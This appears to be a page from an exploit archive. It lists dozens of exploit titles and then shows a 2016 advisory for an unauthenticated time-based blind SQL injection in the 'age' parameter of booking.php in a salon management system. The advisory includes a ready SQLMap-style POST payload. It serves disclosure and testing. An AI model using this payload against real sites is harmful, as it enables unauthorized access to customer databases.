fc4bc08825
15 new exploits Apache HTTPd - Arbitrary Long HTTP Headers DoS Apache HTTPd - Arbitrary Long HTTP Headers DoS (Perl) Apache HTTPd - Arbitrary Long HTTP Headers DoS Apache HTTPd - Arbitrary Long HTTP Headers DoS (C) Mercury Mail 4.01 (Pegasus) IMAP Buffer Overflow Exploit (c code) Mercury Mail 4.01 - (Pegasus) IMAP Buffer Overflow Exploit (C) (1) Mercury Mail 4.01 - (Pegasus) IMAP Buffer Overflow (2) (c code) Mercury Mail 4.01 - (Pegasus) IMAP Buffer Overflow (C) (2) Webhints <= 1.03 - Remote Command Execution Exploit (perl code) (1) Webhints <= 1.03 - Remote Command Execution Exploit (c code) (2) Webhints <= 1.03 - Remote Command Execution Exploit (perl code) (3) Webhints <= 1.03 - Remote Command Execution Exploit (Perl) (1) Webhints <= 1.03 - Remote Command Execution Exploit (C) (2) Webhints <= 1.03 - Remote Command Execution Exploit (Perl) (3) phpBB <= 2.0.15 - Register Multiple Users Denial of Service (Perl Code) phpBB <= 2.0.15 - Register Multiple Users Denial of Service (C Code) phpBB <= 2.0.15 - Register Multiple Users Denial of Service (Perl) phpBB <= 2.0.15 - Register Multiple Users Denial of Service (C) SimpleBBS <= 1.1 - Remote Commands Execution Exploit (c code) SimpleBBS <= 1.1 - Remote Commands Execution Exploit (C) Xmame 0.102 (-lang) Local Buffer Overflow Exploit (c code) Xmame 0.102 - (lang) Local Buffer Overflow Exploit (C) aFAQ 1.0 (faqDsp.asp catcode) Remote SQL Injection Vulnerability aFAQ 1.0 - (faqDsp.asp catcode) Remote SQL Injection Vulnerability Apple CFNetwork HTTP Response Denial of Service Exploit (rb code) Apple CFNetwork - HTTP Response Denial of Service Exploit (RB) PhpBlock a8.4 (PATH_TO_CODE) Remote File Inclusion Vulnerability PhpBlock a8.4 - (PATH_TO_CODE) Remote File Inclusion Vulnerability WebPortal CMS <= 0.7.4 (code) Remote Code Execution Vulnerability WebPortal CMS <= 0.7.4 - (code) Remote Code Execution Vulnerability emergecolab 1.0 (sitecode) Local File Inclusion Vulnerability emergecolab 1.0 - (sitecode) Local File Inclusion Vulnerability Simple Machines Forums (BBCode) Cookie Stealing Vulnerability Simple Machines Forums - (BBCode) Cookie Stealing Vulnerability Movie PHP Script 2.0 (init.php anticode) Code Execution Vulnerability Movie PHP Script 2.0 - (init.php anticode) Code Execution Vulnerability Kjtechforce mailman b1 (code) SQL Injection Delete Row Vulnerability Kjtechforce mailman b1 - (code) SQL Injection Delete Row Vulnerability WordPress Activity Log Plugin 2.3.1 - Persistent XSS IPS Community Suite 4.1.12.3 - PHP Code Injection Adobe Flash - ATF Processing Overflow Adobe Flash - JXR Processing Double Free Adobe Flash - LMZA Property Decoding Heap Corruption Adobe Flash - ATF Image Packing Overflow Tiki Wiki 15.1 - Unauthenticated File Upload Vulnerability (msf) Ho' Detector (Promiscuous mode detector shellcode) (56 bytes) Ho' Detector - Promiscuous mode detector shellcode (56 bytes) MS16-016 mrxdav.sys WebDav Local Privilege Escalation Ruby on Rails ActionPack Inline ERB Code Execution Lan Messenger sending PM Buffer Overflow (UNICODE) - Overwrite SEH Lan Messenger - sending PM Buffer Overflow (UNICODE) Overwrite SEH Tiki Wiki CMS 15.0 - Arbitrary File Download Belkin Router AC1200 Firmware 1.00.27 - Authentication Bypass WordPress All in One SEO Pack Plugin 2.3.6.1 - Persistent XSS Device42 WAN Emulator 2.3 Traceroute Command Injection Device42 WAN Emulator 2.3 Ping Command Injection Device42 WAN Emulator 2.3 - Traceroute Command Injection Device42 WAN Emulator 2.3 - Ping Command Injection Samsung Galaxy S6 Samsung Gallery - Bitmap Decoding Crash Dell KACE K1000 File Upload Dell KACE K1000 - File Upload Dell SonicWALL Scrutinizer 11.01 methodDetail SQL Injection Dell SonicWALL Scrutinizer 11.01 - methodDetail SQL Injection Valve Steam 3.42.16.13 - Local Privilege Escalation Beauty Parlour & SPA Saloon Management System - Blind SQL Injection Clinic Management System - Blind SQL Injection Linux x86-64 Continuously-Probing Reverse Shell via Socket + Port-range + Password - 172 Bytes
31 lines
1.5 KiB
Text
Executable file
31 lines
1.5 KiB
Text
Executable file
####
|
||
# Vulnerability Title : Beauty Parlour & SPA Saloon Management System Unauthenticated Blind SQL Injection (booking.php age) Vulnerability
|
||
# Date : 11/07/2016
|
||
# Exploit Author : Yakir Wizman
|
||
# Vendor Homepage : http://rexbd.net/software/beauty-parlour-and-spa-saloon-management-system
|
||
# Version : All Versions
|
||
# Tested on : Apache | PHP 5.5.36 | MySQL 5.6.30
|
||
####
|
||
# Software Link : N/A
|
||
# Google Dork : N/A
|
||
# CVE : N/A
|
||
####
|
||
|
||
# Vendor Software Description:
|
||
# Managing a health and beauty business is a unique endeavor that is unlike any other. You want an operating software that will enhance the atmosphere you’ve worked hard to instill in your salon.
|
||
# Our salon management system was created to effectively match the needs of health and beauty business owners nationwide.
|
||
# When you purchase this beauty Parlour / salon software, you will find that every aspect of managing your company is covered in this extensive system.
|
||
####
|
||
|
||
# No authentication (login) is required to exploit this vulnerability.
|
||
# Blind SQL Injection Proof-Of-Concept (Using SQLMap)
|
||
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||
# URL example : http://server/booking.php
|
||
#
|
||
# Page : booking.php
|
||
# Parameter : age (POST)
|
||
# Type : AND/OR time-based blind
|
||
# Title : MySQL >= 5.0.12 AND time-based blind
|
||
# Payload : name=Test&age=2016' AND SLEEP(5) AND 'hhFr'='hhFr&sex=on&mobile=+972-50-7655443&email=test@gmail.com&date=07/12/2016&btext=Test
|
||
#
|
||
####
|